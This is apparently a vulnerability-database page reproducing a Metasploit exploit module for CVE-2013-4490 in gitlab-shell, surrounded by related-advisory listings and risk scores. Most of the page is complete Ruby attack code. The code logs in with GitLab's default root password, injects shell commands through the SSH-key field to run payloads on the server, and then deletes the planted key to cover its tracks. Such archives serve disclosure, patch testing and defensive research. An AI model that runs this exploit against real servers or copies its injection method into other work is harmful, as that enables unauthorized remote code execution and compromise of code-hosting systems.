Lucene search
K

Gitlab-shell - Code Execution (Metasploit)

🗓️ 19 Aug 2014 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

Code Execution in Gitlab-shell via SSH Key Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Gitlab-shell Code Execution Exploit
18 Aug 201400:00
zdt
Circl
CVE-2013-4490
19 Aug 201400:00
circl
CVE
CVE-2013-4490
13 May 201415:00
cve
Cvelist
CVE-2013-4490
13 May 201415:00
cvelist
Debian CVE
CVE-2013-4490
13 May 201415:00
debiancve
Metasploit
Gitlab-shell Code Execution
6 Aug 201403:21
metasploit
NVD
CVE-2013-4490
13 May 201415:55
nvd
OpenVAS
GitLab Community Edition 4.2.x - 5.4.0, 6.x - 6.2.2 Multiple Vulnerabilities
28 Mar 202200:00
openvas
Packet Storm
Gitlab-shell Code Execution
18 Aug 201400:00
packetstorm
Prion
Design/Logic Flaw
13 May 201415:55
prion
Rows per page
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gitlab-shell Code Execution',
      'Description'    => %q(
        This module takes advantage of the addition of authorized
        ssh keys in the gitlab-shell functionality of Gitlab. Versions
        of gitlab-shell prior to 1.7.4 used the ssh key provided directly
        in a system call resulting in a command injection vulnerability. As
        this relies on adding an ssh key to an account valid credentials
        are required to exploit this vulnerability.
      ),
      'Author'  =>
        [
          'Brandon Knight'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
          ['CVE', '2013-4490']
        ],
      'Platform'  => 'linux',
      'Targets'        =>
        [
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (x64)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86_64
            }
          ],
          [ 'Unix (CMD)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat'      =>
                    {
                      'RequiredCmd' => 'openssl perl python'
                    },
                  'BadChars' => "\x22"
                }
            }
          ],
          [ 'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Payload' =>
                {
                  'BadChars' => "\x22"
                }
            }
          ]
        ],
      'CmdStagerFlavor' => %w( bourne printf ),
      'DisclosureDate' => 'Nov 4 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'The username to authenticate as', 'root']),
        OptString.new('PASSWORD',  [true, 'The password for the specified username', '5iveL!fe']),
        OptString.new('TARGETURI', [true,  'The path to Gitlab', '/'])
      ], self.class)
  end

  def exploit
    login
    case target['Platform']
    when 'unix'
      execute_command(payload.encoded)
    when 'python'
      execute_command("python -c \\\"#{payload.encoded}\\\"")
    when 'linux'
      execute_cmdstager(temp: './', linemax: 2800)
    end
  end

  def execute_command(cmd, _opts = {})
    key_id = add_key(cmd)
    delete_key(key_id)
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
    if res && res.body && res.body.include?('GitLab')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')

    # Get a valid session cookie and authenticity_token for the next step
    res = send_request_cgi(
                            'method' => 'GET',
                            'cookie' => 'request_method=GET',
                            'uri'    => signin_page
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res

    local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]

    if res.body.include? 'user[email]'
      @gitlab_version = 5
      user_field = 'user[email]'
    else
      @gitlab_version = 7
      user_field = 'user[login]'
    end

    # Perform the actual login and get the newly assigned session cookie
    res = send_request_cgi(
                            'method' => 'POST',
                            'cookie' => local_session_cookie,
                            'uri'    => signin_page,
                            'vars_post' =>
                              {
                                'utf8' => "\xE2\x9C\x93",
                                'authenticity_token' => auth_token,
                                "#{user_field}" => username,
                                'user[password]' => password,
                                'user[remember_me]' => 0
                              }
                          )

    fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302

    @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]

    fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
  end

  def add_key(cmd)
    if @gitlab_version == 5
      @key_base = normalize_uri(target_uri.path.to_s, 'keys')
    else
      @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
    end

    # Perform an initial request to get an authenticity_token so the actual
    # key addition can be done successfully.
    res = send_request_cgi(
                            'method' => 'GET',
                            'cookie' => "request_method=GET; #{@session_cookie}",
                            'uri'    => normalize_uri(@key_base, 'new')
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
    title = rand_text_alphanumeric(16)
    key_info = rand_text_alphanumeric(6)

    # Generate a random ssh key
    key = OpenSSL::PKey::RSA.new 2048
    type = key.ssh_type
    data = [key.to_blob].pack('m0')

    openssh_format = "#{type} #{data}"

    # Place the payload in to the key information to perform the command injection
    key = "#{openssh_format} #{key_info}';#{cmd}; echo '"

    res = send_request_cgi(
                            'method' => 'POST',
                            'cookie' => "request_method=GET; #{@session_cookie}",
                            'uri'    => @key_base,
                            'vars_post' =>
                              {
                                'utf8' => "\xE2\x9C\x93",
                                'authenticity_token' => auth_token,
                                'key[title]' => title,
                                'key[key]' => key
                              }
                          )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    # Get the newly added key id so it can be used for cleanup
    key_id = res.headers['Location'].split('/')[-1]

    key_id
  end

  def delete_key(key_id)
    res = send_request_cgi(
                             'method' => 'GET',
                             'cookie' => "request_method=GET; #{@session_cookie}",
                             'uri'    => @key_base
                           )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]

    # Remove the key which was added to clean up after ourselves
    res = send_request_cgi(
                             'method' => 'POST',
                             'cookie' => "#{@session_cookie}",
                             'uri'    => normalize_uri("#{@key_base}", "#{key_id}"),
                             'vars_post' =>
                             {
                               '_method' => 'delete',
                               'authenticity_token' => auth_token
                             }
                           )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2014 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 26.5
EPSS0.49784
58